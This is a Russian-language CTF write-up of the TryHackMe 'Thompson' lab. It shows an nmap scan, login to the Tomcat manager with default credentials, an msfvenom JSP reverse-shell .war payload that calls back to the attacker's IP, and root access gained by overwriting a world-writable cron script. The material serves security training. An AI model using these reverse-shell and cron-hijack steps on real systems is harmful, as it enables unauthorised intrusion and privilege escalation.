Пост

TryHackMe - Thompson

Довольно хороший челлендж с загрузкой файлов в tomcat и использованием metasploit

TryHackMe - Thompson

Введение

Это довольно хорошая комната для новичков, которым нужно попрактиковаться с reverse shell через загрузку файлов и получением доступа таким способом. Повышение привилегий не требовалось, так как доступный скрипт нуждался лишь в небольшой доработке.

В целом довольно простой челлендж, но отличный для обучающихся

Tryhackme Room Link

Nmap

Давайте начнём со сканирования nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Итак, у нас открыто 3 порта 22/tcp 8009/tcp 8080/tcp

Разведка

Давайте посетим сайт по адресу http://10.10.83.60:8080/

Мы видим подстраницу manager

Manager Webapp

Появляется веб‑форма, но как только мы нажимаем cancel, нас перенаправляет на эту страницу

Мы можем увидеть некоторые учетные данные

Tomcat Credentials

1
2
username: tomcat
password: s3cret

Теперь давайте попробуем эти учетные данные

Manager Webapp

И мы вошли в manager

Inside Manager

Initial Access

Мы видим загрузчик файлов, который, судя по всему, принимает только файлы с расширением .war

Uploader

Давайте скачаем PHP reverse shell по адресу
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Нам нужно обновить наш IP и PORT и сохранить файл как shell.php.war, так как принимаются только файлы .war

1
2
$ip = '10.11.75.122';  // CHANGE THIS
$port = 1337;       // CHANGE THIS

У нас не получается запустить приложение таким образом

Shell

Так мы это сделать не сможем, давайте попробуем создать .war файл с помощью metasploit

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war

Теперь давайте попробуем загрузить файл

Shell

Загрузка прошла успешно, теперь откроем порт с нашей стороны и перейдём на страницу нашего эксплойта

Shell

User Flag

Мы получили соединение и можем найти user flag по пути /home/jack/user.txt

Shell

Root Flag

Давайте посмотрим, какие файлы у нас доступны

1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---

Похоже, что у нас есть ссылка, так что давайте посмотрим на cron‑задания

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la 
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .
drwxr-xr-x 3 root root 4096 Aug 14  2019 ..
-rw------- 1 root root 1476 Aug 14  2019 .bash_history
-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14  2019 .cache
-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh

Похоже, что мы можем запускать id.sh от имени root, поэтому можем просто сделать cat содержимого файла root.txt в файл test.txt

1
echo "cat /root/root.txt > test.txt" > id.sh

Root

Авторский пост защищен лицензией CC BY 4.0 .